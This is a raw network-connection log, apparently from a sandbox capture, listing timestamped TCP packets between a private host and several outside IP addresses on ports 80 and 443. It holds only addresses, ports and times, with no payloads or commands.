Nov 25, 2024 07:53:45.755923033 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.755930901 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.756084919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.756097078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.756140947 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.760745049 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.760869980 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.760884047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.760926008 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.765430927 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.765489101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.769294024 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.769356966 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.769371986 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.783221960 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.785437107 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.785445929 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.796468019 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.797420025 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.797427893 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.798259020 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.798367977 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.801461935 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.809099913 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.809443951 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.809452057 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.812966108 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.812990904 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.821796894 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.821851969 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.821858883 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.833843946 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.833899975 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.833909035 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.845496893 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.845551968 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.845560074 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.857038975 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.857193947 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.857202053 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.865731001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.865813971 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.865866899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.867633104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.867681026 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.867765903 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.867902994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.871474028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.871524096 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.871558905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.871598959 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.875327110 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.875376940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.875418901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.875459909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.879059076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.879071951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.879110098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.879133940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.881033897 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.881400108 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.881407022 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.882630110 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.882711887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.882754087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.883059025 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.883116961 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.883124113 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.886251926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.886305094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.886338949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.886387110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.889785051 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.889828920 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.889895916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.889950037 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.893215895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.893260002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.893296003 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.893333912 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.896672964 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.896723032 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.896748066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.896949053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.900075912 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.900122881 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.900192976 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.900234938 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.903534889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.903583050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.903724909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.903765917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.906975031 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.907021999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.907099009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.907143116 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.908700943 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.908751965 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.908761978 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.908775091 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.908818960 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.910404921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.910455942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.910469055 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.910504103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.910864115 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.913825035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.913865089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.913888931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.913912058 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.915138960 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.915360928 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.915370941 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.917258978 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.917314053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.917325974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.917375088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.918939114 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.920660973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.920722008 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.920730114 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.920763969 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.920785904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.920821905 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.923779964 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.924107075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.924176931 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.924176931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.924185038 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.924194098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.924237967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.929697037 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.933459997 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.933469057 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.937256098 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.937304020 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.937311888 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.944930077 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.945450068 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.945456982 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.952372074 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.952430964 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.952439070 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.959916115 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.960886955 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.960895061 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.967466116 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.967958927 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.968051910 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.968059063 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.969043970 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.969062090 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.969562054 CET	49879	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.969567060 CET	443	49879	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.974926949 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.977458000 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.977468967 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.998534918 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.000108004 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.000179052 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.000186920 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.000230074 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.000236988 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.002867937 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.005436897 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.005445957 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.008162022 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.009437084 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.009443045 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.020809889 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.021256924 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.021270037 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.032941103 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.032999039 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.033009052 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.044521093 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.044580936 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.044588089 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.045909882 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.045964956 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.045972109 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.048445940 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.048492908 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.048500061 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.056047916 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.056143045 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.056164980 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.057255983 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.057308912 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.057315111 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.066929102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.066998005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.067028046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.067069054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.067820072 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.067863941 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.068012953 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.068062067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.070977926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.071023941 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.071062088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.071100950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.074028015 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.074074030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.074098110 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.074136972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.077166080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.077260017 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.077280998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.077332020 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.080017090 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.080053091 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.080202103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.080204010 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.080215931 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.080250978 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.080276966 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.080390930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.080440998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.081053019 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.083307028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.083365917 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.083372116 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.083410978 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.084018946 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.084129095 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.084183931 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.084191084 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.084228039 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.086214066 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.086373091 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.086420059 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.086487055 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.086615086 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.086661100 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.086682081 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.086761951 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:46.086776972 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:46.089478016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.089557886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.089564085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.089606047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.092546940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.092649937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.092678070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.092722893 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.095638990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.095691919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.095740080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.095789909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.098731995 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.098754883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.098786116 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.098826885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.101844072 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.101891041 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.101924896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.102022886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.105051994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.105140924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.105189085 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.108017921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.108076096 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.108100891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.108138084 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.111077070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.111136913 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.111196995 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.111248970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.114243984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.114305973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.114345074 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.114445925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.117280006 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.117342949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.117378950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.117419004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.120354891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.120423079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.120430946 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.120475054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.123437881 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.123548985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.123594046 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.126514912 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.126652002 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.126705885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.129606009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.129707098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.129759073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.132715940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.132730961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.132764101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.132781982 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.135858059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.135911942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.135943890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.135982037 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.138854027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.138912916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.138971090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.139174938 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.141943932 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.141994953 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.142041922 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.142082930 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.145097017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.145144939 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.145196915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.145282984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.148148060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.148199081 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.148233891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.148298025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.151380062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.151427031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.151529074 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.151582956 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.154289961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.154349089 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.154366970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.154423952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.157366037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.157438040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.157474041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.157510042 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.160517931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.160598993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.160628080 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.160639048 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.163552999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.163604975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.163678885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.163734913 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.166632891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.166718006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.166748047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.166822910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.169738054 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.169828892 CET	80	49825	185.215.113.206	192.168.2.6
